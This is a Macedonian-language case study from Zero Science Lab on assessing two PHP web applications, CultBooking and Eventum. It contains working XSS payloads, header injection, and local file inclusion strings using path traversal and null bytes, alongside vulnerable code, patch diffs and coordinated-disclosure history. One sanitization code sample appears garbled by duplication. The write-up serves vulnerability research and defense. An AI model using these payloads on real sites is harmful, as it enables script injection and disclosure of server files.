16
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011 Информациско безбедносна проценка на веб апликации (изучување на случај) Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA - http://en.wikipedia.org/wiki/Quality_assurance ) уште кога е во својата развојна фаза. Дури и откако ќе излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да извршува периодична безбедносна проценка или пенетрациско тестирање (пентест ) и зацврстување на веб апликацијата. Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна закрпа. Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија. Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни модули. Во моментот на ова пишување, најновите верзии се: 1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB] 2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB] За овој вид на тестирање (in-house), околината содржи: - GNU/Linux Fedora 10 - MS Windows XP Pro SP3 - XAMPP - http://www.apachefriends.org/en/xampp.html

Информациско безбедносна проценка на веб апликации (изучување на случај)

Embed Size (px)

DESCRIPTION

Информациско безбедносна проценка на веб апликациите Eventum и Cultbooking. (in-house web application security assessment)

Citation preview

Page 1: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Информациско безбедносна проценка на веб апликации

(изучување на случај)

Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA -

http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќе

излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови

функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за

безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да

извршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстување

на веб апликацијата.

Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна

гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна

закрпа.

Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital

Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на

MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и

слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.

Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации

од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни

модули.

Во моментот на ова пишување, најновите верзии се:

1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB]

2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB]

За овој вид на тестирање (in-house), околината содржи:

- GNU/Linux Fedora 10

- MS Windows XP Pro SP3

- XAMPP - http://www.apachefriends.org/en/xampp.html

Page 2: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

1. Запознавање со целта

Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што

сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За

што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот

и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на

изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи

авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на

целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се

дојде до успешни резултати од анализата.

Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот

на работа кај апликациите, продолжувам со следниот чекор.

2. Креирање на листа од безбедносни тест алатки

"Man is a tool-using animal. Without tools he is nothing, with tools he is all."

- Thomas Carlyle

Нема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и корисни

безбедносни алатки кои ги користев во ова сценарио:

* Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/

* TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања -

http://tamperdata.mozdev.org/

* HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови -

https://code.google.com/p/hackbar/

* Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/

* Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во веб

сајтови - http://getfirebug.com/

* N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free

* Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm

* Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download

* Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/

* PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/

* OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање на

ранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) -

http://code.google.com/p/zaproxy/

* Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/

* WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/

* Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/

* w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/

* Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/

Page 3: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

3. Истражување и анализа

3.1 CultBooking

Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со

горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов

неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File

Disclosure и Path Disclosure ранливост.

XSS POST Injection:

- Ранливи POST параметри: bookingcode и email

------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1

Content-Length: 136

Content-Type: application/x-www-form-urlencoded

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401

Firefox/3.1

Accept-Encoding: gzip,deflate

Keep-Alive: 50

Connection: Keep-Alive

bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentd

Page 4: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

utycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking

------------------------------------------------------------------------

------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK

Date: Sun, 16 Jan 2011 16:04:25 GMT

Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1

mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.1

Content-Length: 5386

Keep-Alive: timeout=5, max=80

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

------------------------------------------------------------------------

HTML Injection преку Header Attack:

- Ранлива променлива: Host

------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1

Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"

Content-Length: 19

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401

Firefox/3.1

Accept-Encoding: gzip,deflate

Keep-Alive: 50

Connection: Keep-Alive

action=cancellation

------------------------------------------------------------------------

------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK

Date: Sun, 16 Jan 2011 16:04:58 GMT

Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1

mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.1

Content-Length: 5335

Keep-Alive: timeout=5, max=95

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

------------------------------------------------------------------------

Page 5: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

XSS GET:

- Ранлив параметар: lang

------------------------- HTTP Request ------------------------- GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401

Firefox/3.1

Accept-Encoding: gzip,deflate

Keep-Alive: 50

Connection: Keep-Alive

------------------------------------------------------------------------

------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK

Date: Sun, 16 Jan 2011 16:04:23 GMT

Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1

mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.1

Keep-Alive: timeout=5, max=95

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

------------------------------------------------------------------------

Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме

понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи

и мали букви, хексадецимални карактери и т.н. Еве неколку референци:

Преусмерување: http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCh

arCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46,

109, 107);</script>

http://www.asciitable.com/

Page 6: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

http://seclists.org/pen-test/2007/Jan/95

http://devteev.blogspot.com/2010/08/null-byte.html

http://devteev.blogspot.com/2009/08/null-byte.html

http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html

http://raz0r.name/articles/null-byte-alternative/

http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass

_techniques_190.0.html

http://ha.ckers.org/sqlinjection/

http://ha.ckers.org/xss.html

и т.н.

Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure)

обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој

случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете

го карактерот: ' (%27) или било што друго освен потребното и ќе ви биде претставена целосната

патека на веб директориумот на веб серверот. Пр:

http://127.0.0.1/cultbooking/cultbooking.php?lang='

Local File Inclusion / File Disclosure:

- Ранлив параметар: lang

- Зависно од magic_quotes_gpc=off

http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00

http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00

Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:

cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за

вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:

Page 7: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');

навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php

податокот. По детално разгледување доаѓам до скриптата:

cultbooking.languageNS.languageImpl.class.php во која го има следниов код:

----------------------------------------------------------

<?php

/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */

class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel

{

var $incfile;

public function providetransLang()

{

return $this;

}

public function localization($incfile)

{

$this->incfile = $incfile;

}

public function translate($str)

{

include $this->incfile .".inc";

return $$str;

}

}

?>

----------------------------------------------------------

Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле

да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со

пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример:

passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата

cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок

како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот

можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до

осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува

HTML код во корисничкиот прелистувач со помош на XSS напад.

Пример за побезбедно санирање/валидација:

<?php

$file = <?php

$file = preg_replace(‘/[^a-zA-Z0-9\_]/’,”,addslashes($_GET['file']));

$readfile = readfile($file);

?>

($_GET['file']));

$readfile = readfile($file);

?>

За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од

Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно

да извршат напад, пример: %00 во \0, но не се препорачува користење на magic quotes за

избегнување на податоци.

Page 8: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Споредба и закрпи:

Page 9: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно

користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување,

избегнување и нејзино зацврстување.

Page 10: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

3.2 Eventum

Исто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored

(Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите на

апликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна.

POST Stored/Persistent XSS:

- Ранлива скрипта: list.php, ранлив параметар: keywords

POST /eventum-2.3/htdocs/list.php?keywords=<script>alert('ZSL')<%2Fscript> HTTP/1.1

RESPONSE: HTTP/1.1 200 OK

Откако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг е

вметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниот

стринг го извршува на секои 5 минути се додека не ја затворите страницата (page self-

refresh/session). Тест со помош на оставање на стрингот:

<script>alert(Date())</script> во search полето...

Page 11: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Page 12: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Закрпа:

Reflected/Non-Persistent XSS:

forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немање

филтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2:

GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert('ZSL')</script>

GET /eventum-2.2/forgot_password.php/>"><script>alert('ZSL')</script>

GET /eventum-2.2/select_project.php/>"><script>alert('ZSL')</script>

-----------------------------------------------

Скрипта: eventum-2.3/lib/eventum/class.auth.php:

Line 90: $failed_url .= "&url=" . urlencode($_SERVER['REQUEST_URI']);

Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER['REQUEST_URI']),

$is_popup);

--

Скрипта: eventum-2.3/templates/current_filters.tpl.html

Line: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}

--

Скрипта: eventum-2.3\lib\pear\HTTP.php:

Line 318: $url = isset($_SERVER['REQUEST_URI']) ?

Line 319: $_SERVER['REQUEST_URI'] : $_

-----------------------------------------------

Ранливоста се наоѓа во папката templates во следниве фајлови:

- current_filters.tpl.html

- forgot_password.tpl.html

- select_project.tpl.html

(+ е додаден код или закрпен, - е одстранет код):

---------------------------------------------------------------------------

=== modified file 'templates/current_filters.tpl.html'

--- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000

+++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000

@@ -8,7 +8,7 @@

Page 13: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

<td class="default">

{t}Current filters:{/t}&nbsp;

{foreach from=$active_filters name=active_filters key=filter_name

item=filter_value}

- <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}

+ <b>{$filter_name}</b>: {$filter_value|escape:"html"}{if !$smarty.foreach.active_filters.last}; {/if}

{foreachelse}

<i>{t}None{/t}</i>

{/foreach}

=== modified file 'templates/forgot_password.tpl.html'

--- templates/forgot_password.tpl.html 2010-10-07 11:43:46 +0000

+++ templates/forgot_password.tpl.html 2011-01-24 03:14:02 +0000

@@ -23,7 +23,7 @@

{include file="yellow_note.tpl.html" content=$note_message}

{/if}

<br />

-<form name="email_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}">

+<form name="email_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="reset_password">

<table align="center" width="500" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">

<tr>

=== modified file 'templates/select_project.tpl.html'

--- templates/select_project.tpl.html 2010-10-07 11:43:46 +0000

+++ templates/select_project.tpl.html 2011-01-24 03:14:02 +0000

@@ -16,7 +16,7 @@

//-->

</script>

{/literal}

-<form name="login_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}">

+<form name="login_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="select">

<input type="hidden" name="url" value="{$smarty.get.url}">

<table align="center" width="400" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">

---------------------------------------------------------------------------

Page 14: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Следење на измените од Eventum тимот (пред официјално објавување на нова верзија):

https://code.launchpad.net/~eventum-developers/eventum/trunk

Page 15: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

4. Безбедносни предупредувања, пријавување, одговорност

После секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителот

со надеж за соработка и координирано објавување на безбедносно предупредување (етички) или

пак веднаш со објавување (не-етички) или пак воопшто (за приватни цели).

Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, поради

што, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (според

нашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинот

Uwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5.

Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско.

За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирање

веднаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целосна

соработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации треба

да се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäe

развија закрпа за помалку од два дена, после кое следеше официјално објавување на новата

верзија, 2.3.1.

Безб. предупредување ID: ZSL-2011-4987

Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities

Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.php

Безб. предупредување ID: ZSL-2011-4988

Наслов: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability

Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.php

Безб. предупредување ID: ZSL-2011-4989

Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilies

Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php

5. Препораки

Кога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да ја

имате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиете

постабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web Application

Firewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа:

http://www.owasp.org/index.php/Web_Application_Firewall)

Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скрипти

што качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл.

Функции како:

htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(),

stip_tags(), nl2br(), escapeshellarg() и т.н.

Page 16: Информациско безбедносна проценка на веб апликации (изучување на случај)

Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011

Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија како

и порталите што објавуваат нови ранливости и техники на заобиколување на безбедносните

механизми.

6. Корисни линкови и референци

- http://zeroscience.mk/mk/vulnerabilities/

- http://koduleht.eu/phptest/index.php

- http://koduleht.eu/phptest/taketest.php?11

- http://www.phpfreaks.com/tutorial/php-security

- http://grasp.coresecurity.com/index.php?m=chl

- http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html

- http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/

- http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/

- http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf

- http://exploit-db.com

- http://secunia.com

- http://php-ids.org/

- http://osvdb.org

- http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

- http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

- http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

- http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet

- http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet

- http://www.owasp.org/index.php/Esapi

- http://ha.ckers.org/xss.html

- http://phpsec.org/projects/guide/

- http://www.acunetix.com/websitesecurity/php-security-1.htm

- http://securitytube.net

- http://packetstormsecurity.org

- http://securityfocus.com

- http://vupen.com

- http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents

- Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities од

Mark Dowd, John McDonald и Justin Schuh.

Ѓоко Крстиќ

[email protected]